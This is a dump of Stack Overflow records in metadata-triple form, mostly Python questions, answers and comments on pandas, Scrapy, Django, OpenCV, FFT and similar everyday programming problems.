http://stackoverflow.com/a/47361981
upvote count: 1
type: Answer
has body: Inspired by @Wen pd.crosstab(df.movieId, df.userId, df.rating, aggfunc='mean').fillna(0).T.to_dict('list') Output: {1: [1.0, 4.5, 0.0, 5.0, 0.0, 5.0, 5.0], 2: [2.0, 0.0, 4.5, 5.0, 3.0, 4.0, 0.0]} Note: The 'mean' in aggfunc should be meaningless if one rating per user for each movie.
answers question: http://stackoverflow.com/q/47361865
has comment: http://stackoverflow.com/comment/81697731
score: 1
accepted answer of: http://stackoverflow.com/q/47361865
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/81417726
comment on: http://stackoverflow.com/q/47233513
has text: The permissions looks ok. As I can get the bucket name with Boto3. But I dont know how to modify this script with boto3.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/81453477
type: Comment
comment on: http://stackoverflow.com/q/47250857
type: QuestionComment
has text: @TedPetrou What I mean by iterating over rows is going through the rows 1 by 1 to identify those that currently have "1" in the "Signal" column. From each "buying" point, I want to see until when I will hold the stock (hold = 1, Not Holding = 0)
score: 0

http://stackoverflow.com/a/47269978
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81491027
score: 3
accepted answer of: http://stackoverflow.com/q/47269076
type: Answer
answers question: http://stackoverflow.com/q/47269076
has body: Write 'digitalcopyurl': ", ".join(response.css('div#digitalLinks li a').xpath('@href').extract()) OR 'digitalcopyurl': ", ".join(a.strip() for a in response.css('div#digitalLinks li a').xpath('@href').extract()) Both will do the same thing
upvote count: 3

http://stackoverflow.com/a/56947488
downvote count: 5
answers question: http://stackoverflow.com/q/47304999
score: -4
upvote count: 1
has body: Worked for me by using the following import line: from tensorflow.python import keras Cheers!
type: Answer

http://stackoverflow.com/a/47321291
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/47320794
has body: Barring the usage of regular expressions, I would like to help you understand why you have a problem in the first place. It appears that you have concocted a long sequence of method calls that give you something very close to what you want without paying attention to the return values. Let's break it down: line is a string. line.split() returns a list of the space-separated string elements of in line. [3] gets the fourth element of the list, which is again a string. .split('=') breaks it into a list again. [1:2] extracts the second element as a sublist. You can get the first element of the list by indexing pressure[0]. A much easier way would be to extract the index as [1] instead of [1:2], which would return the second element as a string instead of a list. In general, it is a good idea to process each of these steps in a separate line. Error checking is another reason to do this. Lines like Listening at 868 Mhz... do not have an = in the fourth element (Mhz...). There may also be lines that don't even have four elements. Either one will cause an IndexError. To parse the a float number, just wrap the final string result in a call to float. Here is a better way to extract the number string using the same calls: elems = line.split() if len(elems) &gt; 3: items = elems[3].split('=') if len(items) &gt; 1: pressure = float(items[1]) This should show you why regex is a cleaner option for something like this.
has comment: http://stackoverflow.com/comment/81598092
has comment: http://stackoverflow.com/comment/81593856
type: Answer
has comment: http://stackoverflow.com/comment/81593717
has comment: http://stackoverflow.com/comment/81594206
has comment: http://stackoverflow.com/comment/81593685
accepted answer of: http://stackoverflow.com/q/47320794
upvote count: 1
score: 1

http://stackoverflow.com/q/47337376
tagged with: python-2.7
score: 0
has title: ValueError: could not convert string to float: ['0.016487999999999999']
answer count: 0
has comment: http://stackoverflow.com/comment/81626740
has body: I am trying to read the file that contains string-numbers, but it gives me error when I try to convert string-numbers to float. I know this may be because of large size of numbers, but is there any alternative way to convert string numbers to float? I have looked to existing solutions but I did not find any relevant. def load_embeddings(self, FileName = \ 'Resources/EN-wform.w.5.cbow.neg10.400.subsmpl.txt'): file = open(FileName,'r') for line in file: tokens = line.split('\t') #since each line's last token content '\n' # we need to remove that tokens[-1] = str(tokens[-1].split()) #each line has 400 tokens for i in xrange(1, len(tokens)): # pass print "token ", tokens[i] print type(tokens[i]) print float(tokens[i]) Output with Error: token 0.017045999999999999 &lt;type 'str'&gt; 0.017046 token 0.038705999999999997 &lt;type 'str'&gt; 0.038706 token 0.033797000000000001 &lt;type 'str'&gt; 0.033797 token ['0.016487999999999999'] &lt;type 'str'&gt; Traceback (most recent call last): File "featureExtraction.py", line 51, in &lt;module&gt; f.load_embeddings() File "featureExtraction.py", line 38, in load_embeddings print float(tokens[i]) ValueError: could not convert string to float: ['0.016487999999999999']
has comment: http://stackoverflow.com/comment/81626742
tagged with: floating-point
type: Question
type: UnansweredQuestion
tagged with: python
tagged with: string-conversion
has comment: http://stackoverflow.com/comment/81636931
has comment: http://stackoverflow.com/comment/81650015

http://stackoverflow.com/a/47371281
type: Answer
has comment: http://stackoverflow.com/comment/81695939
score: -1
has body: for row and column wise both, if from the second circle, it starts from 10+previous circle-ends, then it gets spaced out b = 0 for row in range(0,5): a = 0; for col in range(0,5): canvas.create_oval(40*col+a, 40*row+b, 40*(col+1)+a, 40* (row+1)+b) a = a + 10 b = b + 10
downvote count: 1
answers question: http://stackoverflow.com/q/47370888
upvote count: 0

http://stackoverflow.com/comment/81413279
comment on: http://stackoverflow.com/q/47230307
score: 1
type: QuestionComment
has text: You're missing a comma in between `"sheen"` and `"sheen2"`.
type: Comment

http://stackoverflow.com/comment/81467271
has text: So I have my pointer, ``x``, I know it's 9 double preicions elements, and I can dereference it as ``x[1]`` as mentioned. it's clearly a ``PyCall.PyObject`` But If I try ``unsafe_wrap(A, x, (9,1)), I get ``` ERROR: MethodError: no method matching unsafe_wrap(::Array{Float64,1}, ::PyCall.PyObject, ::Tuple{Int64,Int64}) ```
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47254540

http://stackoverflow.com/comment/81682888
type: QuestionComment
type: Comment
has text: You aren't using the `decimal` module properly. You need to convert your terms to Decimal _before_ you do arithmetic on them. As an alternative, you can use the `fractions` module, and store your Bernoulli numbers as rational numbers
comment on: http://stackoverflow.com/q/47365022
score: 1

http://stackoverflow.com/q/47317626
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/78361854
has answer: http://stackoverflow.com/a/70419837
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/94005228
tagged with: python
has comment: http://stackoverflow.com/comment/102671384
score: 15
has body: Has anyone tried implementing beta transformed regression python? It is used to model values that lie between 0 and 1 and has a distribution with heteroskedasticity ineherently present. Essentially you first transform the dependent variable to a beta distribution and apply a second transformation or a link function such as logit or probit to restrict its values bw 0 and 1. The link below explains in detail the code for R: https://cran.r-project.org/web/packages/betareg/vignettes/betareg.pdf However, I'm having a hard time finding functions/libraries to do this in python. Even if i try using brute force method, once we have the predicted transformed Ys, transforming it back to original Ys is challenging. Moreover I don't want to go the brute force route and was wondering if there is a sophisticated way to implement this in python. Thanks a lot!
tagged with: beta
upvote count: 15
answer count: 2
has title: Transformed beta regression in python
tagged with: regression
downvote count: 0

http://stackoverflow.com/q/47331031
accepted answer: http://stackoverflow.com/a/47331295
has answer: http://stackoverflow.com/a/47331296
possible better answer: http://stackoverflow.com/a/47331296
type: AnsweredQuestion
tagged with: python-2.7
answer count: 3
tagged with: pandas
score: 1
has answer: http://stackoverflow.com/a/77715850
tagged with: http://stackoverflow.com/tag/json
has title: How to flatten a list of dicts from a Pandas DataFrame into several columns?
tagged with: dataframe
tagged with: python
linked to: http://stackoverflow.com/q/40588852
favorite count: 0
type: Question
downvote count: 0
has body: I have a pandas dataframe that looks like this: User | Query| Filters ----------------------------------------------------------------------------------------- 1 | abc | [{u'Op': u'and', u'Type': u'date', u'Val': u'1992'},{u'Op': u'and', u'Type': u'sex', u'Val': u'F'}] 1 | efg | [{u'Op': u'and', u'Type': u'date', u'Val': u'2000'},{u'Op': u'and', u'Type': u'col', u'Val': u'Blue'}] 1 | fgs | [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'col', u'Val': u'Red'}] 2 | hij | [{u'Op': u'and', u'Type': u'date', u'Val': u'2002'}] 2 | dcv | [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'sex', u'Val': u'F'}] 2 | tyu | [{u'Op': u'and', u'Type': u'date', u'Val': u'1999'},{u'Op': u'and', u'Type': u'col', u'Val': u'Yellow'}] 3 | jhg | [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'sex', u'Val': u'M'}] 4 | mlh | [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'}] The result that I expect: User| Query | date | sex | col -------------------------------- 1 | abc | 1992 | F | 1 | efg | 2000 | | Blue 1 | fgs | 2001 | | Red 2 | hij | 2002 | | 2 | dcv | 2001 | F | 2 | tyu | 1999 | | Yellow 3 | jhg | 2001 | | 4 | mlh | 2001 | H | I'm using pandas 0.21.0 with python 2.7. Example data: df = pd.DataFrame([{'user': 1,'query': 'abc', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'1992'},{u'Op': u'and', u'Type': u'sex', u'Val': u'F'}]}, {'user': 1,'query': 'efg', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2000'},{u'Op': u'and', u'Type': u'col', u'Val': u'Blue'}]}, {'user': 1,'query': 'fgs', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'col', u'Val': u'Red'}]}, {'user': 2 ,'query': 'hij', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2002'}]}, {'user': 2 ,'query': 'dcv', 'Filters': [{u'Op': u'and', u'Type': u'date', u'Val': u'2001'},{u'Op': u'and', u'Type': u'sex', u'Val': u'F'}]}, {'user': 2 ,'query': 'tyu', 'Filters':[{u'Op':…
upvote count: 1
has answer: http://stackoverflow.com/a/47331295

http://stackoverflow.com/comment/81567731
has text: Image quality matters. Currently I'm trying to split the images and insert but there are lot of bugs and effecting performance. Anyways answer with a code example can help.
score: 0
comment on: http://stackoverflow.com/q/47263621
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47290495
has body: I would like to create a variable inside a function and then use that variable outside the function. Is there a way to do this? For example: def Function(): score = 5 Function() print(score) Thank you :)
score: -2
has comment: http://stackoverflow.com/comment/81531649
downvote count: 5
has answer: http://stackoverflow.com/a/47290638
tagged with: python
accepted answer: http://stackoverflow.com/a/47290513
has answer: http://stackoverflow.com/a/47290513
type: Question
has title: Python - If I create a variable inside a function, how can I then use it outside the function?
linked to: http://stackoverflow.com/q/16752512
linked to: http://stackoverflow.com/q/3905437
upvote count: 3
possible better answer: http://stackoverflow.com/a/47290638
tagged with: function
has comment: http://stackoverflow.com/comment/81531552
has comment: http://stackoverflow.com/comment/81533112
favorite count: 0
has answer: http://stackoverflow.com/a/47290593
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81531547
answer count: 3

http://stackoverflow.com/q/47377581
downvote count: 0
tagged with: pandas
has answer: http://stackoverflow.com/a/69389258
has answer: http://stackoverflow.com/a/69238609
has comment: http://stackoverflow.com/comment/97461068
favorite count: 0
type: Question
has title: Pandas .rolling specifying time window and win_type
has answer: http://stackoverflow.com/a/47858670
tagged with: time-series
has comment: http://stackoverflow.com/comment/81712403
has body: I want to compute a moving average using a time window over an irregular time series using pandas. Ideally, the window should be exponentially weighted using pandas.DataFrame.ewm, but the arguments (e.g. span) do not accept time-based windows. If we try to use pandas.DataFrame.rolling, we realise that we cannot combine time-based windows with win_type. dft = pd.DataFrame({'B': [0, 1, 2, 3, 4]}, index = pd.Index([pd.Timestamp('20130101 09:00:00'), pd.Timestamp('20130101 09:00:02'), pd.Timestamp('20130101 09:00:03'), pd.Timestamp('20130101 09:00:05'), pd.Timestamp('20130101 09:00:06')], name='foo')) dft.rolling('2s', win_types='triang').sum() &gt;&gt;&gt; ValueError: Invalid window 2s How to calculate a not equally weighted time-based moving average over an irregular time series? The expected output for dft.ewm(alpha=0.9, adjust=False).sum() associated with a window of '2s' would be [0*1, 1*1, 2*1+1*0.9, 3*1, 4*1+3*0.9]
has comment: http://stackoverflow.com/comment/81714338
type: UnansweredQuestion
upvote count: 11
tagged with: python
has answer: http://stackoverflow.com/a/68273621
score: 11
has comment: http://stackoverflow.com/comment/81712576
answer count: 4
has comment: http://stackoverflow.com/comment/81712970
tagged with: moving-average

http://stackoverflow.com/comment/81637147
comment on: http://stackoverflow.com/q/47342447
type: Comment
score: 1
type: QuestionComment
has text: When you come to pandas community don't forget to come with some data. Data determines the answer.

http://stackoverflow.com/q/47279330
has comment: http://stackoverflow.com/comment/81510518
has comment: http://stackoverflow.com/comment/81509399
downvote count: 1
favorite count: 0
linked to: http://stackoverflow.com/q/3893885
type: Question
tagged with: python-3.x
has title: How to iterate over a file with huge no of lines to find a string?
has comment: http://stackoverflow.com/comment/81510283
has comment: http://stackoverflow.com/comment/81510180
accepted answer: http://stackoverflow.com/a/47280314
has answer: http://stackoverflow.com/a/47280314
has comment: http://stackoverflow.com/comment/81509968
has comment: http://stackoverflow.com/comment/81509334
duplicate of: http://stackoverflow.com/q/3893885
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81509601
has comment: http://stackoverflow.com/comment/81509183
possible better answer: http://stackoverflow.com/a/47279840
has comment: http://stackoverflow.com/comment/81510040
type: AnsweredQuestion
tagged with: python-2.7
answer count: 2
has answer: http://stackoverflow.com/a/47279840
upvote count: 0
has body: Python: I have a particular word which Iam looking in a text file of large size which is in millions of records. So actually i wanted to search if a particular string is availabe in the file. One way i did is : with open('ip.log', 'r') as f: for line in f: if semething in line: break else: print 'Not found' But for small files this process will be fine,but when file size increases or records grow to tens of millions.Loading that big file into memory may not be a feasible solution. Is there any better way to deal with this problem? Observations: If file is so huge of 1GB or something, it will slow up the system Looking for one text we need to iterate over millions of records each time.

http://stackoverflow.com/a/47364483
type: Answer
has comment: http://stackoverflow.com/comment/81689989
answers question: http://stackoverflow.com/q/47317901
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47317901
has comment: http://stackoverflow.com/comment/81688133
score: 5
has body: One option is to use django-tenant-schemas which is designed for this purpose: Django provides currently no simple way to support multiple tenants using the same project instance, even when only the data is different. Because we don't want you running many copies of your project, you'll be able to have: Multiple customers running on the same instance Shared and Tenant-Specific data Tenant View-Routing (i.e., subdomain mapping) This will result in you having separate database schema for each tenant (event, in your case), each with its own isolated models. Without too much effort you can create tenants (events) on the fly - it sounds like your use case would require that. Note: tenant-schemas only work with Postgres.
upvote count: 5

http://stackoverflow.com/q/47233921
type: UnansweredQuestion
has body: I'm using the below code to iterate through an excel column and use the retrieved values when making an http POST call, but while I'm able to print all of the extracted values.. I'm struggling as the http call only sends the last index of the iteration. def createChannel(): url = "http://hostname/createjson/" for row in ws.iter_cols(min_row=2, min_col=1, max_row=4, max_col=1): #print("Channels") for cell in row: #print int(cell.value) channelName = cell.value print(channelName) payload2 = {"name": channelName,"details": {"test": "adad"}} json_str = json.dumps(payload2, indent=True) headers = { 'content-type': "application/json", 'cache-control': "no-cache", 'postman-token': "6247f803-25e8-2f9d-2a6e-0dc98b54a483" } response = requests.request("POST", url, data=json_str, headers=headers) print(response.text) createChannel() This prints: CNN TBS TNT {"id":"5463463553","name":"TNT","details":{"test":"adad"}} I'm wondering what is it wrong with the code that only sends the last value when executing the POST call.. I'm expecting that when I print the response for each call, I would print the json response for each channel. Any advice would be greatly appreciated.
type: Question
has comment: http://stackoverflow.com/comment/81419571
has comment: http://stackoverflow.com/comment/81418442
has comment: http://stackoverflow.com/comment/81418592
has comment: http://stackoverflow.com/comment/81418624
tagged with: python
has title: For loop not sending value while making http call
tagged with: python-2.7
score: 0
answer count: 0

enumeration
tag name: enumeration
type: Tag
tags question: http://stackoverflow.com/q/47247423

http://stackoverflow.com/q/47255935
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/47255996
tagged with: pandas
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47256244
possible better answer: http://stackoverflow.com/a/47256244
accepted answer: http://stackoverflow.com/a/47255996
answer count: 2
has title: Remove Columns and duplicate data
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/81462822
has body: I Have this dataset. Route STOP_ID AveOn AveOff AveLd PassingTime Period DAYCODE PATTERN_ID BLK RTE DIR PATTERN_QUALITY VEHICLE_ID STOP_TYPE DWELL_SEC DOOR_OPEN_SEC 0 65 9605 2.1 0 24.2 0.3625 AM 0 11065088 6513 65 N 100 3607 ST 0 0 1 65 9605 2.1 0 24.2 0.3625 AM 0 11065088 6513 65 N 100 3608 ST 0 0 2 65 9605 2.1 0 24.2 0.3625 AM 0 11065088 6513 65 N 100 3664 ST 0 0 3 65 9605 2.1 0 24.2 0.3625 AM 0 11065088 6513 65 N 100 3608 ST 0 0 4 65 9605 2.1 0 24.2 0.3625 AM 0 11065088 6513 65 N 100 3669 ST 0 0 5 65 9605 2.1 0 24.2 0.3625 AM 0 11065088 6513 65 N 100 3620 ST 0 0 2185 67 35322 8.2 0.2 8 0.318055556 AM 0 20067078 6515 67 S 95 3613 ST 1 1 2187 67 35322 8.2 0.2 8 0.318055556 AM 0 20067078 6515 67 S 95 3674 ST 1 1 3976 67 82237 0.2 0.1 6.6 0.692361111 PM 0 20067078 6508 67 S 95 3676 S 1 0 5203 67 35322 4.7 0 4.7 0.33125 AM 0 20067078 6511 67 S 100 3640 ST 1 1 6723 67 35322 7.5 0 7.5 0.369444444 AM 0 20067078 6507 67 S 100 3658 ST 1 1 6730 67 35322 7.5 0 7.5 0.369444444 AM 0 20067078 6507 67 S 100 3673 ST 1 1 i do need to delete columns and duplicate rows, and delete values where column (DWELL_SEC) value = 0 i started my code as following: import pandas as pd import numpy as np from pandas import ExcelWriter transit="C:\\Users\\Taqwa\\Desktop\\ttest.xlsx" xlsx = pd.ExcelFile(transit) df=pd.read_excel(transit,'Sheet1') df.columns=df.columns.astype(str) writer=ExcelWriter("C:\\Users\\Taqwa\\Desktop\\ttest2.xlsx") df1 = df[df.DWELL_SEC != 0] for name, sub_df in df.groupby("STOP_ID"): sub_df.to_excel( writer, str(name)) writer.save() could anyone help in

http://stackoverflow.com/q/47280862
has title: Splitting XML file into multiple files based on labels using python
tagged with: http://stackoverflow.com/tag/xml
type: Question
answer count: 2
has body: I have a large xml file that contains the details of image annotations. A sample of the same is as follows: <?xml version="1.0" encoding="UTF-8"?> dataset containing bounding box labels on images created by BBTag <tag name="ScoreBoard-Vivon" color="#bf5786"/> <tag name="Perimeter-Vivon" color="#032585"/> Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon ScoreBoard-Vivon I want this file to be split based on their tag names. This file has two tags viz - ScoreBoard and Perimeter. I want to create two different xmls out of this for each tag. The desired output would be as follows: for ScoreBoard-Vivon.xml <?xml version="1.0" encoding="UTF-8"?> dataset containing bounding box labels on images created by BBTag <tag name="ScoreBoard-Vivon" color="#bf5786"/> ScoreBoard-Vivon For Perimeter-Vivon.xml <?xml version="1.0" encoding="UTF-8"?> dataset containing bounding box labels on images created by BBTag <tag name="Perimeter-Vivon" color="#032585"/> Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon I have 350-400 such tags. How can I split them into individual files. New Example: <?xml version="1.0" encoding="UTF-8"?> dataset containing bounding box labels on images created by BBTag <tag name="Perimeter-SVT" color="#f9e99c"/> <tag name="Perimeter-Vivon" color="#032585"/> <tag name="ScoreBoard-Vivon" color="#bf5786"/> <tag name="Perimeter-StarSports" color="#12dadd"/> ScoreBoard-Vivon Perimeter-SVT Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon Perimeter-Vivon ScoreBoard-Vivon Perimeter-StarSports
has comment: http://stackoverflow.com/comment/81512533
tagged with: python
has answer: http://stackoverflow.com/a/47282269
accepted answer: http://stackoverflow.com/a/47282269
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47283339
possible better answer: http://stackoverflow.com/a/47283339

http://stackoverflow.com/a/47257337
type: Answer
has body: I don't understand what you are asking for, as you could simply print(people) person_1 = {'first_name':'shamol', 'last_name': 'kabir', 'age': '25', 'city': 'jessore'} person_2 = {'first_name':'shorif', 'last_name':'jaman', 'age':'28', 'city':'khulna'} person_3= {'first_name':'mizan', 'last_name':'rahman', 'age':'25', 'city':'jessore'} people= [person_1,person_2,person_3] for person in people: for key in person: print('{} : {}'.format(key, person[key])) # works in both python 2 and python 3 #print(f'{key} {person[key]}') #works in python 3 only print('-'*20)
score: 0
has comment: http://stackoverflow.com/comment/81465715
answers question: http://stackoverflow.com/q/47257032
has comment: http://stackoverflow.com/comment/81468431
has comment: http://stackoverflow.com/comment/81467188

http://stackoverflow.com/q/47273372
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81557521
has comment: http://stackoverflow.com/comment/81579157
has answer: http://stackoverflow.com/a/47276415
tagged with: python
has comment: http://stackoverflow.com/comment/81516814
has comment: http://stackoverflow.com/comment/93958900
tagged with: image
has title: Character Segmentation and Recognition for Unevenly Spaced Digits
score: 3
tagged with: image-segmentation
upvote count: 3
has body: I have a image of number as shown below. I segmented the number above into it's digits using methods of Adaptive Thresholding and detecting contours and placing a restriction of height and weight for bounding rectangle to be greater than 15 to get following segmented digits. Instead of above output, I would like to segment the number in the image above so as to get each digit individually. This result further after resizing to (28, 28) can be fed to CNN of MNIST for better prediction of particular digits. So, is there any other neat way of segmenting this number in image into individual digits? One method as mentioned here suggests to slide a green window of fixed size and detect the digits by training a Neural Net. So,how will this NN be trained to classify the digits? This method avoids the OpenCV approach to separate each individual digit but just sliding window over whole image won't that be a little expensive. How to deal with positive and negative examples while training (should i create a separate dataset... positive examples can be of mnist digits but what about negative examples.)? Segmentation: img = cv2.imread('Image') gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) blur = cv2.GaussianBlur(gray,(3,3), 0) thresh = cv2.adaptiveThreshold(blur,255,cv2.ADAPTIVE_THRESH_MEAN_C,\ cv2.THRESH_BINARY_INV, 7,10) thresh = clear_border(thresh) # find contours in the thresholded image, then initialize the # list of group locations clone = np.dstack([gray.copy()] * 3) groupCnts = cv2.findContours(thresh.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) groupCnts = groupCnts[0] if imutils.is_cv2() else groupCnts[1] groupLocs = [] clone = np.dstack([gray.copy()] * 3) # loop over the group contours for (i, c) in enumerate(groupCnts): # compute the bounding box of the contour (x, y, w, h) = cv2.boundingRect(c) # only accept the contour region as a grouping of characters if # the ROI is sufficiently large if w &gt;= 15 and h &gt;= 15: print (i, (x, y, w, h)) cv2.rectangle(clone, (…
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/81570279
favorite count: 0
type: Question
tagged with: opencv

http://stackoverflow.com/q/47290045
has body: I've tried to create an algorithm for finding all paths of length 2, but it doesn't seem to work properly: input_split = input().split(' ') node_count = int(input_split[0]) input_count = int(input_split[1]) items = np.zeros((node_count, node_count), dtype=np.int32) # matrix of adjacency for j in range(input_count): split = input().split(' ') x = int(split[0]) - 1 # convert 1 based coordinates to 0 based y = int(split[1]) - 1 items[x][y] = 1 items[y][x] = 1 result = np.linalg.matrix_power(items, 2) result_sum = int(np.sum(result) / 2) # reverse paths are counted only once print(result_sum) Sample input: 6 7 1 2 2 3 3 1 2 4 4 5 5 6 6 2 The result should be 11, but it prints 18.
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/47290218
tagged with: path-finding
has answer: http://stackoverflow.com/a/47290218
downvote count: 0
upvote count: 1
has title: Find all paths of length 2 in a graph
favorite count: 0
tagged with: graph
type: AnsweredQuestion
tagged with: algorithm
score: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47290408
has answer: http://stackoverflow.com/a/47290408

http://stackoverflow.com/comment/81665695
type: QuestionComment
comment on: http://stackoverflow.com/q/47356433
has text: output of `mlb.fit_transform(_labels)` will be the input
score: 0
type: Comment

http://stackoverflow.com/comment/81431305
has text: I'd like to add a me-too here. I tried exactly the same (under Linux) and have the same behavior.
comment on: http://stackoverflow.com/q/47237388
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47283619
score: 2
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/50165891
tagged with: scrapy
has title: Include Image src to LinkExtractor Scrapy CrawlSpider
has answer: http://stackoverflow.com/a/50165891
favorite count: 0
type: Question
upvote count: 2
answer count: 2
possible better answer: http://stackoverflow.com/a/47289618
downvote count: 0
tagged with: python
has answer: http://stackoverflow.com/a/47289618
has body: Im working on crawling on a site and Im using LinkExtractor from scrapy to crawl links and determine their response status. Moreover, I also want to use the Link Extractor to get image src's from the site. I have a code and it works well with the sites urls but i cant seem to get the images. since it wont log on the console. handle_httpstatus_list = [404,502] # allowed_domains = [''mydomain'] start_urls = ['somedomain.com/'] http_user = '###' http_pass = '#####' rules = ( Rule(LinkExtractor(allow=('domain.com',),canonicalize = True, unique = True), process_links='filter_links', follow = False, callback='parse_local_link'), Rule(LinkExtractor(allow=('cdn.domain.com'),tags = ('img',),attrs=('src',),canonicalize = True, unique = True), follow = False, callback='parse_image_link'), ) def filter_links(self,links): for link in def parse_local_link(self, response): if response.status != 200: item = LinkcheckerItem() item['url'] = response.url item['status'] = response.status item['link_type'] = 'local' item['referer'] = response.request.headers.get('Referer',None) yield item def parse_image_link(self, response): print "Got image link" if response.status != 200: item = LinkcheckerItem() item['url'] = response.url item['status'] = response.status item['link_type'] = 'img' item['referer'] = response.request.headers.get('Referer',None) yield item

http://stackoverflow.com/comment/85152344
type: Comment
has text: @DavideChicco.it: that's a change from before, you now have a `torch` package *in your homedirectory*. What is `/home/davide/torch/` and why is there a `__init__.py` file in it? It is now masking the versions installed by `pip`.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47457330

http://stackoverflow.com/comment/81675038
score: 0
comment on: http://stackoverflow.com/q/47360840
has text: Thats what I'm trying to get at. It works with `Customer.create`, taking `tok_visa` and using it as a stand in for `tok_xxxxxxxxxxxxxxxx`, appending the info automatically. but for the customer, I'm unsure what the stand in here would be.
type: Comment
type: QuestionComment

http://stackoverflow.com/q/47256786
tagged with: python
accepted answer: http://stackoverflow.com/a/47257051
type: AnsweredQuestion
score: 0
has title: How can I get the serializer-fields in APIView?
answer count: 1
tagged with: django-rest-framework
has answer: http://stackoverflow.com/a/47257051
type: Question
has body: How can I get the serializer-fields in APIView? In the document, it only say how to add serializer-fields in serializers, but did not state how to get the serializer-fields in the APIView. I add so many serializer-fields in the CloudServerCreateSerializer: class CloudServerCreateSerializer(ModelSerializer): cpu = serializers.IntegerField() # eg:1,2,4, ram = serializers.IntegerField() # eg: 1,2,4, os = serializers.DictField() # eg: {"os_big":"Linux", "os_detail":"CentOS7.2"} disk_os = serializers.DictField() # {"disk_type":"SSD", "disk_size":"50"} disk_store = serializers.ListField() # [{"disk_type":"SSD", "disk_size":"50"}, {"disk_type":"SSD", "disk_size":"50"}] class Meta: model = CloudServer exclude = ['expiration_time'] but I do not know how to get these values in the views: class CloudServerCreateAPIView(CreateAPIView): serializer_class = CloudServerCreateSerializer permission_classes = [] queryset = CloudServer.objects.all() def post(self, request, *args, **kwargs): print(*args, **kwargs) #serializer.save() return Response(data="创建成功", status=HTTP_200_OK, exception=None) How to get the serializer-fields in rest framework views?
tagged with: django

http://stackoverflow.com/a/47239865
upvote count: 2
score: 1
type: AcceptedAnswer
downvote count: 1
accepted answer of: http://stackoverflow.com/q/47226050
has body: You can do it join two dataframes row by row for instance, and then use a UDF to multiply each element of the ArrayType by an IntegerType: First let's create dataframes with a row index: foo_df = sc.parallelize(foo.tolist()).zipWithIndex().toDF() bar_df = sc.parallelize(bar.tolist()).zipWithIndex().toDF() Now to join them and get the final result: import pyspark.sql.functions as psf from pyspark.sql.types import ArrayType, IntegerType mul = psf.udf(lambda xx,y: [x * y for x in xx], ArrayType(IntegerType())) foo_df.join(bar_df, '_2')\ .select(mul(foo_df._1, bar_df._1[0]))\ .show() +-------------------+ |&lt;lambda&gt;(_1, _1[0])| +-------------------+ | [2, 4, 6]| | [12, 15, 18]| +-------------------+
answers question: http://stackoverflow.com/q/47226050
type: Answer

http://stackoverflow.com/q/47325824
has comment: http://stackoverflow.com/comment/81605026
linked to: http://stackoverflow.com/q/4364823
tagged with: python
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/23377665
has comment: http://stackoverflow.com/comment/81625515
score: 0
has comment: http://stackoverflow.com/comment/81604431
answer count: 0
tagged with: wav
has title: FFT of A Musical Note
has comment: http://stackoverflow.com/comment/81604036
has comment: http://stackoverflow.com/comment/81602910
has body: I've been getting really confused with FFT in python. What I'm trying to do is plot the FFT of the note number 61 (or middle C#). Here is the code that I tried to use which I found here using this wav file. After running that code, I got this output after zooming in a bit. I think that this is completely wrong due to the fact that after looking online, the note number 61 has a frequency of 277.2hz. This means that there should be a peak around that value right? But to me, it seems like that the values are completely off. This is the code that I'm running right now to get the plot. import matplotlib.pyplot as plt from scipy.fftpack import fft from scipy.io import wavfile # get the api fs, data = wavfile.read("MAPS_ISOL_NO_P_S0_M61_AkPnBsdf.wav") # load the data a = data.T[0] # this is a two channel soundtrack, I get the first track b=[(ele/2**8.)*2-1 for ele in a] # this is 8-bit track, b is now normalized on [-1,1) c = fft(b) # create a list of complex number d = len(c)/2 # you only need half of the fft list plt.plot(abs(c[:(d-1)]),'r') plt.xlabel('Frequency') plt.ylabel('Magnitude') plt.show() I'm also not sure if I have the axis labeled correctly for the x and y axis as I believe each entry in the array is a bin of size Fs / N where Fs is the sample rate and N is the size of the FFT? I'm just really confused and overwhelmed after looking online for weeks about all this. Thanks for any help!
tagged with: fft
type: Question

http://stackoverflow.com/comment/81620055
type: QuestionComment
has text: Oh, you're not executing `webapp.service`? I see. In that case, the `webapp` module is designed incorrectly and should be refactored. Importing a module should never be (directly) linked to enabling a certain feature/behavior.
comment on: http://stackoverflow.com/q/47334197
score: 0
